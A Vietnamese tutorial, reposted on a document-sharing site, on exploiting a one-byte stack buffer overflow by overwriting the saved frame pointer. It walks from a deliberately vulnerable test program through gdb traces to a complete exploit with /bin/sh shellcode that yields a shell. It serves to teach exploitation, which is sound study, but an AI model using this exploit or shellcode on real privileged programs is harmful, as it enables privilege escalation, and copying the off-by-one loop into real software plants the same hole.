1. Trang chủ
  2. » Công Nghệ Thông Tin

Làm tràn bộ đệm bằng 1 byte.

11 534 1
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Làm tràn bộ đệm bằng 1 byte
Trường học Trường Đại Học
Thể loại bài viết
Định dạng
Số trang 11
Dung lượng 54 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Làm tràn bộ đệm bằng 1 byte.

Trang 1

Làm tràn bộ đệm bằng 1 byte

trang này đã được đọc lần

Giới thiệu

Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó Điều này không

có gì mới Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có thể bị làm tràn bởi một byte Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến trình có đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trình đã bị tước bỏ Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết này

Mục tiêu tấn công

Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid"

Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất

ipdev:~/tests$ cat > suid.c

#include <stdio.h>

func(char *sm)

{

char buffer[256];

int i;

for(i=0;i<=256;i++)

buffer[i]=sm[i];

}

main(int argc, char *argv[])

{

if (argc < 2) {

printf("missing args\n");

exit(-1);

}

func(argv[1]);

}

^D

ipdev:~/tests$ gcc suid.c -o suid

ipdev:~/tests$

Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu trữ của bộ đệm Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo Trước khi khai thác lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể

Trang 2

đã biết điều đó) Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm xảy ra

ipdev:~/tests$ gdb /suid

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump

(gdb)

Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực hiện chỉ thị CALL Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ

*0x8048134 Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm

%esp đi 0x104 (260) byte Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte (0x100 cho biến chuỗi và 0x004 cho biến integer) Lưu ý rằng các biến lưu trên stack theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ 256 byte Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra:

saved_eip

saved_ebp

char buffer[255]

char buffer[254]

char buffer[000]

int i

Trang 3

Điều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved frame pointer) đã được push lên stack ở đầu hàm func() Nhưng làm thế nào byte này

có thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với bản lưu của %ebp Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(), như đã thấy ở địa chỉ *0x804817e Những tiếp theo sẽ là gì?

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <printf>

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump

(gdb)

Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá trị vào %esp, như đã thấy ở địa chỉ *0x80481b1 Điều này có nghĩa chúng ta có thể đặt vào %esp một giá trị tuỳ ý Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý

vì bạn chỉ có thể thay đổi một byte cuối cùng của %esp Hãy kiểm tra xem chúng ta có đúng không

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <printf>

Trang 4

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump

(gdb) break *0x80481b4

Breakpoint 2 at 0x80481b4

(gdb) run `overflow 257`

Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()

(gdb) info register esp

esp 0xbffffd45 0xbffffd45

(gdb)

Chúng ta đã đúng Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giá

trị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop ra

khỏi stack ngay trước chỉ thị RET Điều này cho ta kết quả 0xbffffd41 + 0x4

= 0xbffffd45

Chuẩn bị

Thay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đến nơi khác Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị word đầu tiên trên stack, xem nó là giá trị %eip cũ Nhưng nếu chúng ta thay đổi giá trị của %esp, chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó như là %eip, và vì thế đổi hướng thực thi của chương trình Hãy làm tràn bộ đệm với chuỗi có dạng sau:

[nops][shellcode][&shellcode][%ebp_altering_byte]

Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi

%ebp thành (từ đó thay đổi %esp) Hãy xem nội dung trên stack có gì khi tràn bộ đệm

Trang 5

xảy ra:

saved_eip

saved_ebp (altered by 1 byte)

&shellcode \

shellcode | char buffer

nops /

int i

Ở đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop vào %eip khi bộ xử lý trở về từ hàm main() Bây giờ chúng ta đã có đầy đủ những kiến thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác Thông tin này gồm địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta

(&shellcode) Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi nhập có chiều dài 257 byte Để làm được điều này, chúng ta phải viết một chương trình khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiến

trình bị lỗi

(gdb) q

ipdev:~/tests$ cat > fake_exp.c

#include <stdio.h>

#include <unistd.h>

main()

{

int i;

char buffer[1024];

bzero(&buffer, 1024);

for (i=0;i<=256;i++)

{

buffer[i] = 'A';

}

execl("./suid", "suid", buffer, NULL);

}

^D

ipdev:~/tests$ gcc fake_exp.c -o fake_exp

ipdev:~/tests$ gdb exec=fake_exp symbols=suid

(gdb) run

Starting program: /home/klog/tests/exp2

Program received signal SIGTRAP, Trace/breakpoint trap

0x8048090 in _crt_dummy ()

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

Trang 6

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump

(gdb) break *0x804813d

Breakpoint 1 at 0x804813d

(gdb) c

Continuing

Breakpoint 1, 0x804813d in func ()

(gdb) info register esp

esp 0xbffffc60 0xbffffc60

(gdb)

Bây giờ chúng ta đã có giá trị của %esp ngay sau khi bản ghi của hàm func() được kích hoạt Từ giá trị này chúng ta có thể dự đoán bộ đệm của chúng ta sẽ được cấp phát ở địa chỉ 0xbffffc60 + 0x04 (size of 'int i') =0xbffffc64, và con trỏ đến vùng shellcode của chúng ta sẽ được đặt ở địa chỉ 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60

Viết chương trình tấn công

Có những giá trị này sẽ cho phép chúng ta viết phiên bản đầy đủ của chương trình khai thác lỗi, có cả shellcode, con trỏ đến shellcode và giá trị byte bị ghi đè Giá trị chúng ta cần ghi đè lên byte cuối cùng của %ebp bảo lưu sẽ là 0x60 - 0x04 = 0x5c, vì nhớ lại rằng chúng ta sẽ pop %ebp ngay trước khi trở về từ hàm main() 4 byte này sẽ bù cho giá trị %ebp đã bị lấy ra khỏi stack Đối với con trỏ đến vùng shellcode của chúng ta, chúng ta không cần nó phải trỏ đến địa chỉ chính xác Tất cả những gì chúng ta cần là khiến bộ xử lý trở về địa chỉ vào khoảng giữa các chỉ thị NOP ở phần đầu của bộ đệm bị

Trang 7

làm tràn (0xbffffc64) và shellcode của chúng ta (0xbffffc64

-sizeof(shellcode)), giống như khi thực hiện tràn bộ đệm thông thường Chẳng hạn ta sử dụng địa chỉ 0xbffffc74

ipdev:~/tests$ cat > exp.c

#include <stdio.h>

#include <unistd.h>

char sc_linux[] =

"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"

"\xd7\xff\xff\xff/bin/sh";

main()

{

int i, j;

char buffer[1024];

bzero(&buffer, 1024);

for (i=0;i<=(252-sizeof(sc_linux));i++)

{

buffer[i] = 0x90;

}

for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)

{

buffer[i] = sc_linux[j];

}

buffer[i++] = 0x74; /* Address of our buffer */

buffer[i++] = 0xfc;

buffer[i++] = 0xff;

buffer[i++] = 0xbf;

buffer[i++] = 0x5c;

execl("./suid", "suid", buffer, NULL);

}

^D

ipdev:~/tests$ gcc exp.c -o exp

ipdev:~/tests$ /exp

bash$

Tuyệt! Hãy xem xét kỹ hơn điều gì đã xảy ra Mặc dù chúng ta đã xây dựng chương trình khai thác lỗi dựa trên lý thuyết tôi đã trình bày ở đây, sẽ rất thú vị nếu chúng ta xem xét tất cả mọi thứ đã gắn kết lại với nhau như thế nào Bạn có thể không cần đọc đoạn này nếu bạn hiểu rõ tất cả những gì đã giải thích ở trên, và có thể bắt đầu tìm kiếm những lỗ hổng trong thực tế

Trang 8

ipdev:~/tests$ gdb exec=exp symbols=suid

(gdb) run

Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap

0x8048090 in _crt_dummy ()

(gdb)

Trước tiên hãy đặt vài điểm dừng (breakpoint) để theo dõi quá trình khai thác lỗi chương trình "suid" một cách kỹ lưỡng những gì diễn ra Chúng ta sẽ lần theo giá trị chúng ta đã ghi đè lên con trỏ frame cho đến khi đoạn shellcode của chúng ta được thực thi

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump

(gdb) break *0x804817e

Breakpoint 1 at 0x804817e

(gdb) break *0x804817f

Breakpoint 2 at 0x804817f

(gdb)

Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị pop ra khỏi stack Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị

Trang 9

ghi đè.

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <_IO_printf>

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump

(gdb) break *0x80481b3

Breakpoint 3 at 0x80481b3

(gdb) break *0x80481b4

Breakpoint 4 at 0x80481b4

(gdb)

Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra Hãy bắt đầu chạy chương trình

(gdb) c

Continuing

Breakpoint 1, 0x804817e in func ()

(gdb) info reg ebp

ebp 0xbffffd64 0xbffffd64

(gdb) c

Continuing

Breakpoint 2, 0x804817f in func ()

(gdb) info reg ebp

Trang 10

ebp 0xbffffd5c 0xbffffd5c

(gdb) c

Continuing

Breakpoint 3, 0x80481b3 in main ()

(gdb) info reg esp

esp 0xbffffd5c 0xbffffd5c

(gdb) c

Continuing

Breakpoint 4, 0x80481b4 in main ()

(gdb) info reg esp

esp 0xbffffd60 0xbffffd60

(gdb)

Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp Sau khi được pop ra khỏi stack, chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi nhập dùng làm tràn, 0x5c Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng, sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4 byte Cho ta giá trị cuối cùng là 0xbffffd60 Hãy xem có gì ở địa chỉ đó

(gdb) x 0xbffffd60

0xbffffd60 < collate_table+3086619092>: 0xbffffc74

(gdb) x/10 0xbffffc74

0xbffffc74 < collate_table+3086618856>: 0x90909090

0x90909090 0x90909090 0x90909090

0xbffffc84 < collate_table+3086618872>: 0x90909090

0x90909090 0x90909090 0x90909090

0xbffffc94 < collate_table+3086618888>: 0x90909090

0x90909090

(gdb)

Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP ngay trước đoạn shellcode của chúng ta Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74 Lúc này shellcode của chúng ta sẽ được thực thi

(gdb) c

Continuing

Program received signal SIGTRAP, Trace/breakpoint trap

0x40000990 in ?? ()

(gdb) c

Continuing

bash$

Kết luận

Ngày đăng: 02/11/2012, 14:18

TỪ KHÓA LIÊN QUAN

w